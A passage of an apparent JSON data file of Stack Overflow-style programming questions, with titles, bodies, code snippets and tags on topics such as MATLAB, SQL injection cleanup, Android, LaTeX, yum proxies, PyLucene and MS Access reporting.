important.\n\n\n\nC(1:end/4,1:end/4)\n\n\nans =\n\n", "for i = 2:K-1\n\n B=[C(i-
1,i-1),C(i-1,i),C(i-1,i+1);C(i,i-1),C(i,i),C(i-1,i+1);C(i+1,i-
1),C(i+1,i),C(i+1,i+1)];\n\n while ((sum(sum(B))-sum(diag(B))~=0)&&(j<=39))\n\n
C=[C(j+2:40,j+2:40),C(j+2:40,1);[C(1,j+2:40),C(2,2)]];\n B=[C(i-1,i-1),C(i-
1,i),C(i-1,i+1);C(i,i-1),C(i,i),C(i-1,i+1);C(i+1,i-1),C(i+1,i),C(i+1,i+1)];\n
j=j+1;\n end\nend\n", "matlab concatenation mathematical-optimization discrete-
mathematics"], "1462512": ["Can't Clean the Results of a SQL Injection", "A website
that I maintain, but didn't develop, was recently attacked through SQL Injection -
we're currently working to plug the holes, however, I'm also in the process of
cleaning up the database. We've got several thousand records, each with 20-30
columns of data that had malicious code appended to the end. \nI've tried going
through and doing a replace on the text for each column, but somehow it's not
finding the offending data, and skipping right over it. \n1) How can they insert
data that I can't search on?\n2) How can I get it removed without having to touch
each record individually?\nI've tried going through the IIS logs to find my
answers, but so far it's been a losing battle.\nAdditional information can be
provided, but I want to keep things sparse due to current security concerns.\n",
"", "sql sql-server sql-injection"], "308906": ["How to start a Software Company",
"I've always been interested in wondering how software companies happen. I find it
extremely difficult once you're tied down with car, house, life etc. Funding is
always the biggest concern.\nTo make this a bit more specific, I see two types.
Those offering a product/service or those offering a consultancy company.\nOne
things that bugs me about the product/service kind is that we all know how burning
the candle at both ends is extremely exhausting. Coding for 8-10 hours in the day
and then code in the evenings on your own stuff, doesn't last long. No matter how
passionate you are about your idea, simply put, coding day and night is a recipe
for burn out. Is this a defeatist attitude though? Can it be balanced?\nA
consultancy kind isn't as tricky in my honest opinion. I think once you have spent
years and years in the industry building up relationships, contacts from
contracting or moving around, and of course, being involved in the community, then
landing your first project as a consultant I'm sure is easier than the
product/service kind. I'd imagine friends then could join you as you take on bigger
company projects, like an Agile implementation or TDD training, then off you go
gaining bigger things.\nCould you please specify which company type you're
answering if you can't contribute to both. I'd like to hear everyone's experiences
or ideas on any level for software company start-ups.\n", "", "freelancing startup
product"], "4371193": ["parsing json feed and save the details in shared
preference?", "this is my feed \ni need to store the email and password in shared
preference and need to check whwn the user enters .. if it is right i should show a
messsage.. otheriwse i should register \n", "json", "android json login"],
"2145228": ["UIView slide down from the top?", "I am looking at creating a slide up
or down view like in Uber's app. Not sure if its simple a UIView they are sliding
up over the current top view or is this an embedded view control?\nAlso how did
they handle the settings view that splits the screen?\nSorry no screen shots as
they wouldn't do any good as you cannot see the animation.\n", "", "objective-c
uiview uiviewcontroller"], "2459164": ["Flash bone tool actionscript 3 RagDoll",
"I've made a character, and used the bone tool to make it move in runtime.\nThis
works fine, but now I want to add gravity/physics, so I can throw my character and
it lands on the ground like a real ragdoll. How do I do this in actionscript 3 ?
And is it possible to do this within the fla (no class file).\nThanks in advanced!\
n", "", "actionscript-3 flash actionscript inverse-kinematics"], "1456871": ["How
do I fix problem with layout of tables and text in LaTeX?", "my problem is that my
full tables and text are coming about 15 cm away from left side,\nso my text has
very little space on right side, about 3 cm.\nHow can I change my text and tables
to start from 5 cm away from left and 5 cm before right side?\n\nThanks\n", "\\
documentclass[a4paper]{article}
\n\\usepackage{graphics} \n\\usepackage{color} \n\\
usepackage{hyperref} \n\\usepackage{multirow}\n\\
usepackage{longtable}\n\\usepackage{fullpage}\n\\usepackage[pdftex]{graphicx}\n\\
usepackage{fancyhdr}\n\n\\oddsidemargin 0cm\n\\evensidemargin 0cm\n\n\\
pagestyle{fancy}\n\\renewcommand{\\headrulewidth}{0.0pt}\n\\lfoot{%(full_name)s/%
(emp_id)s/\\thepage}\n\\cfoot{}\n\n\\topmargin -2.5cm\n\\parindent 0cm\n\\
textheight 27.5cm\n\\parskip 3mm\n\n\\begin{document}\n\n\\fontencoding{\\
encodingdefault}\n\\renewcommand{\\familydefault}{\\sfdefault}\n\\fontshape{\\
shapedefault}\n\\selectfont\n", "latex"], "4607140": ["How to distribute a lot of
data with APK?", "I wish to pack a lot of data in my android package. May I use
database for this? If yes, then how to pack database tables with APK?\n", "",
"android database sqlite installer apk"], "3484184": ["Loading text for UIButton
and UITextView in background (Simple CMS)", "I kinda want a CMS feature in my
iPhone app. I want to load text and an image from the internet and apply them to a
UIImageView, UIButton, and UITextView. However I am getting an error. Currently
the code works fine with the loading of the image. I had the text code in the
viewDidAppear code however the user wasn't able to interact with the screen until
the text loaded so I moved it to the loadInfo method with the Image, however it
didn't like this and gave me a Bad Access error. And printed the following in the
console:\n\nAnyone know what might be my issue?\nThanks!\nThis is my code:\n\n",
"2011-05-08 21:26:13.770 Fraction Calculator Lite[2184:6b03] bool
_WebTryThreadLock(bool), 0x62338d0: Tried to obtain the web lock from a thread
other than the main thread or the web thread. This may be a result of calling to
UIKit from a secondary thread. Crashing now...\n", "iphone objective-c content-
management-system"], "2228380": ["Why would a cable modem work in one location and
not another?", "Up until last Thursday, my D-Link (don't know model) cable modem at
home was working just fine. No issues besides needing a power cycle every once in
awhile. Since Thursday, can no longer get online.\nBorrowed a cable modem (same
ISP) and can get online from home. Took MY cable modem to a friend's place
approximately 10 blocks from my house. My cable modem works there, but not at my
house.\nSpent some time on Saturday debugging. Took the coax splitter out of the
equation and am now connecting the modem directly to the primary coax cable. Also,
took the router out of the equation and am directly connecting to the modem from my
computer.\nWhen Windows first starts up as I watch the network connection, it first
says 'Invalid IP address' (Network Connections -> Status -> Support tab), then
after a bit I get an \"Automatic Private Address' starting with 169.XXX.XXX.XXX. \
nGot a tech coming by this afternoon, but curious if anyone has an idea what would
cause my modem not to work in one location but work in another?\n", "", "internet
cable-modem"], "2719015": ["Making an image change once it is clicked", "I\u2019ve
already spent hours looking at as many online resources and stackoverflow questions
as I can find but for some reason I just can\u2019t figure this out.\nI\u2019m
attempting to use CSS and image sprites to make a link display as an image that
changes once it is hovered over and once it has been clicked. I\u2019ve played
round with CSS and looked at JavaScript for far too long now and I just need some
direction on how to get it working.\nI\u2019ve managed to make it change once its
hovered over however what i really need to do is have the image change once it is
clicked. So the begin with it displays the play button and when its clicked it
displays a pause button, click it again and it displays the play button etc.\nFrom
what i can gather i will need to use JavaScript and an onclick event. However I\
u2019m not sure how this would work or how to use it with image sprites.\nMy CSS so
far looks like this\n.\n.\nHowever this only effects the play button and when it is
hovered over. Now i need a way to display the pause button when the play button is
clicked and vice versa.\nImage sprites URL. \nhttp://www.danceyrselfclean.com/wp-
content/uploads/2012/12/sprites.png\nURL of page im trying to get this to work on.\
nhttp://www.priceofmilk.co.uk/uncategorized/ddd-2\nCan this be achieved using CSS
and HTML or will I also need to use some JavaScript? Any assistance would be much
appreciated.\n", ".testclass .stratus {\nbackground-position: -1px -1px;\nwidth:
21px;\nheight: 21px;}", "javascript css image sprites"], "3751733": ["How can I
speed up fetching pages with urllib2 in python?", "I have a script that fetches
several web pages and parses the info.\n(An example can be seen at
http://bluedevilbooks.com/search/?DEPT=MATH&CLASS=103&SEC=01 )\nI ran cProfile on
it, and as I assumed, urlopen takes up a lot of time. Is there a way to fetch the
pages faster? Or a way to fetch several pages at once? I'll do whatever is
simplest, as I'm new to python and web developing.\nThanks in advance! :)\nUPDATE:
I have a function called , which I use to make an array of the URLs I need\nso
something like .The URLS are all XML files from Amazon and eBay APIs (which
confuses me as to why it takes so long to load, maybe my webhost is slow?)\nWhat I
need to do is load each URL, read each page, and send that data to another part of
the script which will parse and display the data.\nNote that I can't do the latter
part until ALL of the pages have been fetched, that's what my issue is.\nAlso, my
host limits me to 25 processes at a time, I believe, so whatever is easiest on the
server would be nice :)\n\nHere it is for time:\n\n", "fetchURLs()", "python time
urllib2 urlopen cprofile"], "3457918": ["Fix potential memory leak in ARC", "The
following singleton class (SharedManager) helper method might be causing a retain
cycle. Getting warnings in static analyzer: \"Potential leak of an object allocated
at line ...\" How can I fix? \nI did try making ivar uuid __weak but warning still
appears when I analyze.\n\nThanks\nBeing called in the class like so: \n\n", "
NSString *__weak uuid = (__bridge NSString
*)CFUUIDCreateString(kCFAllocatorDefault, uuidObject);\n", "ios singleton
automatic-ref-counting"], "669304": ["Is there a way to open the facebook photo
gallery and choose photos from android code?", "I was wondering if there is a way
to open the user's gallery of images from facebook and let the user choose an image
and receive that image?\nsomething like:\n\nBut instead from local gallery, picking
from the facebook gallery?\nThanks!\n", "Intent i = new
Intent(Intent.ACTION_PICK,android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT
_URI);\n startActivityForResult(i, RESULT_LOAD_IMAGE);\n", "android
facebook android-intent user gallery"], "5656882": ["Macbook pro 15\" dual external
display", "\nPossible Duplicate:\nIs it possible to connect a MacBook to two
monitors? \n\nHow can I connect two external DVI displays to a 2011 15\" MacBook
Pro?\n", "", "macbook display thunderbolt"], "3451237": ["Get OS-Version in WinRT
Metro App C#", "I'm programming a Metro Style App with C# and the Visual Studio 11
Beta.\nNow I want to get the OS-Version of the OS. How can I get this?\nI found out
how to do it in \"normal\" Applications.\nThere you take the Environment-Class with
the attribute OSVersion but in .NET Core there isn't this attribute\n", "", "c#
operating-system windows-8 microsoft-metro windows-runtime"], "1244314": ["Yum
through http proxy", "I have several Fedora 13 servers that have to connect through
an http proxy for yum updates. All port 80 traffic has to be routed through this
proxy. I have setup the proxy server in the network settings GUI. I can browse the
internet just fine. I have also setup my proxy information in /etc/yum.conf as
follows:\nproxy=http:proxy.largecorp.corp/accelerated_pac_base.pac\
nproxy_user=user\nproxy_password=password\nI then added the export
HTTP_PROXY=\"http:proxy.largecorp.corp/accelerated_pac_base.pac\" to /etc/bashrc
and sourced the file. \nWhen i run yum update:\nLoaded plugins:presto, refresh-
packagekit\nError: Cannot retrieve repository metadata (repomd.xml) fro repository:
fedora. Please verify its path and try again. \nAll of the repo urls are the
defaults, as this is a fresh install.\n", "", "yum"], "4974855": ["Amazon s3
Folders Problem", "I need off help regarding amazon s3 with folders,\nThe problem i
get with the Amazon s3 class by undesigned is it doesnt support folders, it will
only show you the full file name it gives you these three options out off the
array.\n\nso as you can see it gives you the options name time size and hash no
folders options so i am trying to find a work around.\nfrom above as you can see
Cocaine VIP_Shufunk_192.mp3 is in the Music folder and their is also a folder
Music/dnb/ which contains lots off files.\nWhat i am looking to do is find a what
just to show files that are within a certain folder.\nso far ive tried.\nok so if i
have a folder called Music\ni can have the following.\n\nok so this will show all
my files within music but the problem with this is it shows everything including
folders within the music folder.\nI dont want it to show files that are within a
folder within the music folder say Music/Dnb i dont want it to show these files
only files within the Music folder not the Music/dnb folder???\ni have tried the
following.\n\ncan anyone think off a solution to this???\nThanks\n", "[Music/] =>
Array\n (\n [name] => Music/\n [time] => 1296576896\n
[size] => 0\n [hash] => d41d8cd98f00b204e9800998ecf8427e\n )\n\n\
n[Music/Cocaine VIP_Shufunk_192.mp3] => Array\n (\n [name] =>
Music/dnb/Cocaine VIP_Shufunk_192.mp3\n [time] => 1296577893\n
[size] => 8300933\n [hash] =>
edfb1bcfad7edfaccd901b95541e8d45\n )\n\n[Music/dnb/Crazy Talk_Tantrum
Desire_192.mp3] => Array\n (\n [name] => Music/dnb/Crazy
Talk_Tantrum Desire_192.mp3\n [time] => 1296577988\n [size]
=> 9266562\n [hash] => 0eb4ca6b53d78e1f976df9b488e0f4bf\n )\n\
n[Music/dnb/Day_N_Nite_(TC_Remix)_Kid_Cudi_vs._Crookers_192.mp3] => Array\n
(\n [name] =>
Music/dnb/Day_N_Nite_(TC_Remix)_Kid_Cudi_vs._Crookers_192.mp3\n [time]
=> 1296578094\n [size] => 6597705\n [hash] =>
376ed9479afc9657b40bc4fc3e885b65\n )\n", "amazon-web-services amazon-s3"],
"3273545": ["Multisite/network--automatic self-registration, blog setup", "I am
creating a WordPress Network multisite blog in a university environment. It's set
up in subdirectory mode, so that each new blog appears as a subdirectory off a
common domain name.\nThe Network authenticates against our corporate Active
Directory using LDAP. Only Active Directory users may sign in.\nThe first time a
user signs in, our Active Directory plugin creates a WordPress account that
corresponds to that user's Active Directory account. Each subsequent sign in, that
account's properties are updated with the Active Directory account information.\nWe
expect to have hundreds, possibly thousands of blogs in the system. In the interest
of reducing administrator time, I want this to be automated, either:\n\nFrom time
to time, we run a script that checks the WordPress network against our Active
Directory and automatically creates or deletes blogs depending on whether the
blog's name corresponds to an account in the Active Directory.\nUsers may self-
register for their own blog, and the blog's URL is based off an attribute of their
account that will be imported from the Active Directory.\n\nSo far, my searches are
not revealing canned ways of doing this.\nAre there existing modules that can help?
Or am I looking at something custom?\n", "", "multisite network automation"],
"2475967": ["Is there a way of checking what type of authentication a website is
using?", "I'm trying to use python with suds to connect to a microsoft exchange
server, but I can't authenticate and download the services.wsdl file. \nI have also
tried just using urllib2 to try and connect, but that also fails.\nI can however
authenticate and download the Outlook Web Access page.\nI've tried using ntlm auth,
but that also gives me a 401 error. Is there are way of checking what type of
authenication I need, so I can check if I was using the type of auth in the first
place.\nThanks\n", "", "python urllib2 ews suds"], "302085": ["from _jcc import
initVM DLL load failed: The specified module could not be found", "Hi I am trying
to port my working Django v1.3 application that uses Pylucene from DJANGO Dev
server to Apache with mod_wsgi where it gives an error on the same Windows XP
machine. \nError Message from Django debug:\n\nViewDoesNotExist at
/administration/feeds/\nCould not import plunk4.feeds.views. Error was: DLL load
failed: The\n specified module could not be found.\nRequest Method: GET Request
URL:\n localhost/administration/feeds/ Django Version: 1.3 Exception\n
Type: ViewDoesNotExist Exception Value: \nCould not import
plunk4.feeds.views. Error was: DLL load failed: The\n specified module could not
be found.\nException Location:\n c:\\Python27\\lib\\site-packages\\django\\
core\\urlresolvers.py in\n _get_callback, line 167 Python Executable: C:\\
Program Files\\Apache Software Foundation\\Apache2.2\\bin\\httpd.exe Python
Version: 2.7.1\n Python Path: \n['c:\\Python27\\lib\\site-packages\\south-
0.7.3-py2.7.egg', \n 'c:\\Python27\\lib\\site-packages\\django_admin_tools-0.4.0-
py2.7.egg',\n 'c:\\Python27\\lib\\site-packages\\jcc-2.8-py2.7-win32.egg', \n
'c:\\Python27\\lib\\site-packages\\lucene-3.1.0-py2.7-win32.egg', \n 'c:\\
Python27\\lib\\site-packages\\oauth2-1.5.170-py2.7.egg', \n 'c:\\Python27\\lib\\
site-packages\\httplib2-0.7.2-py2.7.egg', \n 'c:\\Python27\\lib\\site-packages\\
django_social_auth-0.6.0-py2.7.egg',\n 'c:\\Python27\\lib\\site-packages\\
python_openid-2.2.5-py2.7.egg', \n 'c:\\Python27\\lib\\site-packages\\
python_dateutil-1.5-py2.7.egg', \n 'c:\\Python27\\lib\\site-packages\\distribute-
0.6.24-py2.7.egg', \n 'c:\\Python27\\lib\\site-packages\\django_chronograph-
0.2.0.dev-py2.7.egg',\n 'c:\\Python27\\lib\\site-packages\\pyofc2-0.1.5dev-
py2.7.egg', \n 'c:\\Python27\\lib\\site-packages\\anyjson-0.3.1-py2.7.egg', \n
'c:\\Python27\\lib\\site-packages\\django_pagination-1.0.7-py2.7.egg',\n 'c:\\
Python27\\lib\\site-packages\\gdata-2.0.17-py2.7.egg', \n 'c:\\Python27\\lib\\
site-packages\\flickrapi-1.4.2-py2.7.egg', \n 'c:\\Python27\\lib\\site-packages\\
threadpool-1.2.7-py2.7.egg', \n 'c:\\Python27\\Lib', 'c:\\test\\git_repo\\src', \
n 'c:\\test\\git_repo\\src\\plunk4', \n 'c:\\test\\git_repo\\src\\plunk4\\feeds',
\n 'C:\\Python27\\Lib\\site-packages\\lucene-3.1.0-py2.7-win32.egg\\lucene',\n
'C:\\Python27\\Lib\\site-packages\\lucene-3.1.0-py2.7-win32.egg\\lucene\\lib',\n
'C:\\Program Files\\Java\\jdk1.6.0_30\\jre\\bin', 'C:\\Program\n Files\\Java\\
jdk1.6.0_30\\jre\\bin\\client', 'C:\\Program\n Files\\Apache Software
Foundation\\Apache2.2', \n 'C:\\WINDOWS\\system32\\python27.zip', 'c:\\Python27\\
DLLs', \n 'c:\\Python27\\lib\\plat-win', 'c:\\Python27\\lib\\lib-tk', \n 'C:\\
Program Files\\Apache Software Foundation\\Apache2.2\\bin', \n 'c:\\Python27',
'c:\\Python27\\lib\\site-packages']\nServer time: Fri, 10 Aug 2012 13:14:36 -0700\
n\nHere is the apache error.log\n\n[Fri Aug 10 13:03:03 2012] [warn] mod_wsgi:
Compiled for Python/2.7.\n [Fri Aug 10 13:03:03 2012] [warn] mod_wsgi: Runtime
using\n Python/2.7.1. [Fri Aug 10 13:03:03 2012] [notice] Apache/2.2.22\n (Win32)
mod_wsgi/3.3 Python/2.7.1 configured -- resuming normal\n operations [Fri Aug 10
13:03:03 2012] [notice] Server built: Jan 28\n 2012 11:16:39 [Fri Aug 10 13:03:03
2012] [notice] Parent: Created\n child process 6780 [Fri Aug 10 13:03:03 2012]
[warn] mod_wsgi:\n Compiled for Python/2.7. [Fri Aug 10 13:03:03 2012] [warn]
mod_wsgi:\n Runtime using Python/2.7.1. [Fri Aug 10 13:03:03 2012] [notice] Child\
n 6780: Child process is running [Fri Aug 10 13:03:04 2012] [notice]\n Child
6780: Acquired the start mutex. [Fri Aug 10 13:03:04 2012]\n [notice] Child 6780:
Starting 64 worker threads. [Fri Aug 10 13:03:04\n 2012] [notice] Child 6780:
Starting thread to listen on port 80. [Fri\n Aug 10 13:03:45 2012] [error] [client
127.0.0.1] mod_wsgi (pid=6780):\n Target WSGI script 'C:/temp/wsgi_test.py' cannot
be loaded as Python\n module. [Fri Aug 10 13:03:45 2012] [error] [client
127.0.0.1] mod_wsgi\n (pid=6780): Exception occurred processing WSGI script\n
'C:/temp/wsgi_test.py'. [Fri Aug 10 13:03:45 2012] [error] [client\n 127.0.0.1]
Traceback (most recent call last): [Fri Aug 10 13:03:45 2012] [error] [client
127.0.0.1] File \"C:/temp/wsgi_test.py\", line\n 8, in [Fri Aug 10 13:03:45
2012] [error] [client 127.0.0.1]\n import jcc [Fri Aug 10 13:03:45 2012] [error]
[client 127.0.0.1]\n File\n \"c:\\Python27\\lib\\site-packages\\jcc-2.8-py2.7-
win32.egg\\jcc\\_init_.py\",\n line 34, in [Fri Aug 10 13:03:45 2012] [error]
[client\n 127.0.0.1] from _jcc import initVM [Fri Aug 10 13:03:45 2012]
[error] [client 127.0.0.1] ImportError: DLL load failed: The specified\n module
could not be found.\n\nLucene appears to work from Python Shell: \n\nHere is the
output of python -m jcc._main_\n\nTo demonstrate mod_WSGI is installed correctly:\
nI created a c:\\temp\\wsgi_test.py file below:\n\nIt returns:\n\nsys.version =
'2.7.1 (r271:86832, Nov 27 2010, 18:30:46) [MSC v.1500\n 32 bit (Intel)]'
sys.prefix = 'c:\\Python27' sys.path = \n ['c:\\Python27\\lib\\site-packages\\
south-0.7.3-py2.7.egg', \n 'c:\\Python27\\lib\\site-packages\\django_admin_tools-
0.4.0-py2.7.egg',\n 'c:\\Python27\\lib\\site-packages\\jcc-2.8-py2.7-win32.egg', \
n 'c:\\Python27\\lib\\site-packages\\lucene-3.1.0-py2.7-win32.egg', \n 'c:\\
Python27\\lib\\site-packages\\oauth2-1.5.170-py2.7.egg', \n 'c:\\Python27\\lib\\
site-packages\\httplib2-0.7.2-py2.7.egg', \n 'c:\\Python27\\lib\\site-packages\\
django_social_auth-0.6.0-py2.7.egg',\n 'c:\\Python27\\lib\\site-packages\\
python_openid-2.2.5-py2.7.egg', \n 'c:\\Python27\\lib\\site-packages\\
python_dateutil-1.5-py2.7.egg', \n 'c:\\Python27\\lib\\site-packages\\distribute-
0.6.24-py2.7.egg', \n 'c:\\Python27\\lib\\site-packages\\django_chronograph-
0.2.0.dev-py2.7.egg',\n 'c:\\Python27\\lib\\site-packages\\pyofc2-0.1.5dev-
py2.7.egg', \n 'c:\\Python27\\lib\\site-packages\\anyjson-0.3.1-py2.7.egg', \n
'c:\\Python27\\lib\\site-packages\\django_pagination-1.0.7-py2.7.egg',\n 'c:\\
Python27\\lib\\site-packages\\gdata-2.0.17-py2.7.egg', \n 'c:\\Python27\\lib\\
site-packages\\flickrapi-1.4.2-py2.7.egg', \n 'c:\\Python27\\lib\\site-packages\\
threadpool-1.2.7-py2.7.egg', \n 'c:\\Python27\\Lib', 'c:\\test\\git_repo\\src', \
n 'c:\\test\\git_repo\\src\\plunk4', \n 'c:\\test\\git_repo\\src\\plunk4\\feeds',
\n 'C:\\Python27\\Lib\\site-packages\\lucene-3.1.0-py2.7-win32.egg\\lucene',\n
'C:\\Python27\\Lib\\site-packages\\lucene-3.1.0-py2.7-win32.egg\\lucene\\lib',\n
'C:\\Program Files\\Java\\jdk1.6.0_30\\jre\\bin', 'C:\\Program\n Files\\Java\\
jdk1.6.0_30\\jre\\bin\\client', 'C:\\Program\n Files\\Apache Software
Foundation\\Apache2.2', \n 'C:\\WINDOWS\\system32\\python27.zip', 'c:\\Python27\\
DLLs', \n 'c:\\Python27\\lib\\plat-win', 'c:\\Python27\\lib\\lib-tk', \n 'C:\\
Program Files\\Apache Software Foundation\\Apache2.2\\bin', \n 'c:\\Python27',
'c:\\Python27\\lib\\site-packages', \n 'C:/Python27/Lib/site-packages', \n
'C:/Python27/Lib/site-packages/lucene-3.1.0-py2.7-win32.egg/lucene', \n
'C:/Python27/Lib/site-packages/lucene-3.1.0-py2.7-win32.egg/lucene/lib',\n
'C:/Python27/Lib/site-packages/JCC-2.8-py2.7-win32.egg/jcc.dll', \n
'C:/Python27/Lib/site-packages', \n 'C:/Python27/Lib/site-packages/lucene-3.1.0-
py2.7-win32.egg/lucene', \n 'C:/Python27/Lib/site-packages/lucene-3.1.0-py2.7-
win32.egg/lucene/lib',\n
'C:/Python27/Lib/site-packages/JCC-2.8-py2.7-win32.egg/jcc.dll']wsgi.multithread\n
= Truemod_wsgi.process_group = ''\n\nI have tried the following references to solve
the problem:\nhttp://code.google.com/a/apache-extras.org/p/pylucene-extra/wiki/
PyLucene\nCould not import/No module named Django Error with Apache\
nlists.osafoundation.org/pipermail/pylucene-dev/2007-November/002070.html\
ngrokbase.com/t/lucene/pylucene-dev/125t3g2ph6/jcc-dll-loading-error\n", "C:\\
Documents and Settings\\Carlos>python\nPython 2.7.1 (r271:86832, Nov 27 2010,
18:30:46) [MSC v.1500 32 bit (Intel)] on\nwin32\
nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\
n>>> import jcc\n>>> import lucene\n>>> lucene.initVM()\n<jcc.JCCEnv object at
0x00AC67C0>\n>>> lucene.VERSION\n'3.1.0'\n", "django python-2.7 mod-wsgi
pylucene"], "2165076": ["When rewriting tree on ANTLR,
java.lang.NullPointerException is thrown", "I'm trying to create a parser for
QuickBasic and this is my attempt to get the comments:\n\nEven if I rewrite using
only the token COMMENT and nothing more, I still get the same error.\n\nIf I give
up rewriting, it works:\n\n", "grammar QuickBasic;\n\noptions \n{\n language =
'CSharp2';\n output = AST;\n}\n\ntokens\n{\n COMMENT;\n}\n\nparse\
n : .* EOF\n ;\n\n// DOESN'T WORK\nComment\n : R E M t=~('\\n')*
{ Text = $t; } -> ^(COMMENT $t)\n | Quote t=~('\\n')* { Text = $t; } ->
^(COMMENT $t)\n ;\n\nSpace \n : (' ' | '\\t' | '\\r' | '\\n' | '\\u000C')
{ Skip(); } \n ;\n\nfragment Quote : '\\''; \nfragment E : 'E' | 'e';\
nfragment M : 'M' | 'm';\nfragment R : 'R' | 'r';\n", "antlr"], "2770021":
["How to get around \"sys.exit()\" in python nosetest?", "It seems that python
nosetest will quit when encountered \"sys.exit()\", and mocking of this built-in
doesn't work. Thanks for suggestions.\n", "", "python mocking nose"], "2344572":
["R - Iterate over csv file by row and sum in groups of 5", "I have a data
structure created using read.csv() of dimensions 130, 395. I am trying to iterate
over the data by row and return a vector containing a list of lists of the sum over
each row in increments of 5 (only from data[,13:395]). I have written the following
code, but it returns a vector with sums over intervals of 5 by column and it is
also an infinite loop. In other words, I am trying to figure how to make this code
finite and work by row.\n\nThanks for your help\n", "data <- read.csv(file
= \"Table.csv\")\nindexes <- c(13:395)\ncounter <- 0\na <- c()\nlist <- c()\n\
nfor(line in data){\n for(index in indexes){\n while(counter<5){\n
a <- c(a, line[index])\n counter = counter + 1\n }\n
list <- c(list, sum(a, na.rm = TRUE))\n counter = 0\n a = c()\n
}\n }\n", "r csv row infinite-loop"], "1142026": ["Computer doesn't wake from
sleep mode", "I have a laptop with Linux Slackware 14, KDE 4.8.5, kernel 3.9.0-rc6.
When I close the lid and pull out the power cord, the machine goes into sleep mode.
When I wake it, plugging the cord back in and opening the lid, the LEDs turn on,
but the screen doesn't. The system responds via ssh. Maybe, it's Intel video
driver?\nWhat is going on? How can I fix it?\nEDIT #1\nHere is some additional info
regarding my system:\n\n/var/log/pm-suspend.log\n/usr/lib/pm-utils/sleep.d/99video\
n\nHere's info about my video card:\n\nEDIT #2\nLooking at the output in the log
there is mention of an illegal instruction at line #48 of the script. Here are the
contents of that section of the script:\n\n", "lspci | grep VGA\n00:02.0 VGA
compatible controller: Intel Corporation 2nd Generation Core Processor \nFamily
Integrated Graphics Controller (rev 09)\n", "slackware sleep"], "1244315": ["How
can get the last value of column", "How can I retrieve the last entered value of
the column in the database (MS ACCESS 2007)\nI used the following code\n\nbut it
does not work in MS ACCESS and when I run the program Error generates as\n\nbut I
have created a column in database as \nI am using Java for programming in which I
used this query\nEDIT:\nRegNumber is in String form not in integer form so I cant
use DESC or ASC\nPlease help me\n", "String sql = \"SELECT Last(RegNumber) FROM
Death \";\n", "java sql ms-access ms-access-2007"], "3027345": ["Add a pause on
hover of slideshow", "Hi I'm trying to add a pause to a slideshow that i have. \n\
nwhat do i add to make the slideshow pause on mouseover\n", "$
(document).ready(function() {\n $('#slides').superslides({\n slide_easing:
'easeInOutCubic',\n slide_speed: 900,\n pagination: true,\n hashchange:
true,\n scrollable: true,\n pagination: false,\n play:6000\n });\n});\n",
"jquery slideshow mouseover"], "1127884": ["Mimicking Spreadsheet Style in a MS-
Access Report", "I've been tasked with creating a report in MS-Access that looks
exactly like a spreadsheet that a vendor supplies to us for my company to fill in.\
nThe number of records per page is about 40 and there are usually 3-6 pages that
need to be prepared. Each month there is a new report sent out and I just got
finished writing it all in manually while looking at a report I generated. The
purpose of this is to avoid manually transcribing the data.\nThey are adamant about
using their format and will not accept a different report, so I'm trying to be
sneaky about it.\nProblems\n\nI can duplicate the header of the spreadsheet and the
rows just fine, I've just run into a few snags.\n\nBlank rows need to be displayed
on the last page of the report instead of nothing being printed (whitespace) and
then the page footer.\nWhitespace that exists between the and the is present. The
page footer should instead appear to be another row of cells, except that it has
the text and the page total on that row.\n\nThe second item happens because the
always appears at the bottom of the page in a set location as opposed to where the
records ended (even if they took up the entire page).\nIdeas\n\n\nIf there is
someway I could create a\ngroup based on page, then I could\nstick that right after
the details\nsection so that it would line up\nnicely as opposed to the page total\
nand still be able to display the page\ntotal.\nInserting blank rows into the rows
to\nmatch the number of records, is this\npossible? I could calculate how many\
nextra rows I would need to complete\nthe page, but how would I insert\nthose rows
into the data source?\nCreating a new excel spreadsheet from a template and just
writing to there the rows.\n\nI'm using MS-Access 2007 here with a MS-Access 2003
MDB.\nAny help is greatly appreciated.\n", "Details", "ms-access reporting report
spreadsheet"], "2819713": ["Communicating to Flash via Jquery on a Smarty site
(doesn't work) need help", "I'm trying to start my animation from an html button
via jquery, but it just refuses to work. I'm using the following jquery flash
plugin:\nhttp://jquery.lukelutman.com/plugins/flash/\nI've made the same function
work on a non-Smarty site, so I'm thinking it has to do with that or something
having to do with the all the extra markup on the page just preventing it from
working. \nCODE:\n\n", "<head>\n <script type=\"text/javascript\"> \n
$(document).ready(function () {\n $('#flash-rockets').flash({ \n
src: 'http://cms.jamesgillmore.com/includes/port/contactform/contactform.swf',\n
width: '100%',\n height: '100%',\n
allowFullscreen:\"true\",\n
base:\"http://cms.jamesgillmore.com/includes/port/contactform/\", \n
wmode:'transparent',\n params: {\n play: false\n
},\n\n },\n\n\n\n {version: 8}\n\n );\n\n\n
});\n</script> \n</head>\n\n\n<body>\n\n\n<div id=\"flash-rockets\"
style=\"position:absolute;top:0;width:100%;height:120px;\"> </div> \n\n<input
style=\"position:absolute; top:400px;\" onclick=\"$('#flash-
rockets').flash(function(){this.startFly();}) \" type=\"button\" id=\"james\"
value=\"start animation\" /> \n\n\n</body>\n", "jquery flash smarty"], "1730932":
["System Level Resources not resolving when opening a Windows Phone 7.1 Project in
Blend 4", "I have the following installed on a clean Windows 7 SP1 setup:\n\nVS
2010 Ultimate\nVS2010 SP1\nWindows Phone 7.1 SDK\nExpression Studio 4 Ultimate\
nExpression Blend 4 SP1\n\nWhen I create a phone project in VS, all works.\nWhen I
load that same project (originally created in VS) I get resource not resolving
errors for , , , and which follow this format:\n\nWhen I create a project in
Blend, all works. When I load that project into VA, all works\nI have tried
uninstalling the reinstalling the bits in every order imaginable - maybe some sort
of security Issue?\n", "PhoneTextNormalStyle", "windows-phone-7 expression
expression-blend"], "683600": ["How to launch a new process with different program
in Unix?", "I heard that the Unix will copy current process. Does it mean exactly
same program and state will be spawned in a new child process? I can't understand
why it work in that way. Because it looks inefficient. \n\nWhat's the being copied?
\nAnd why does it work in that way?\nIs there no other way to spawn new child
process? (or separated process)\n\n", "fork", "unix fork"], "1222948": ["Scraping
dynamic page content phantomjs", "My company is using a website that hosts all of
our FAQ and customer questions. We have plans to go through and wipe out all of the
old data and input new and the service does not have a backup, or archive option
for
questions we don't want to appear anymore. \nI've gone through and tried to scape
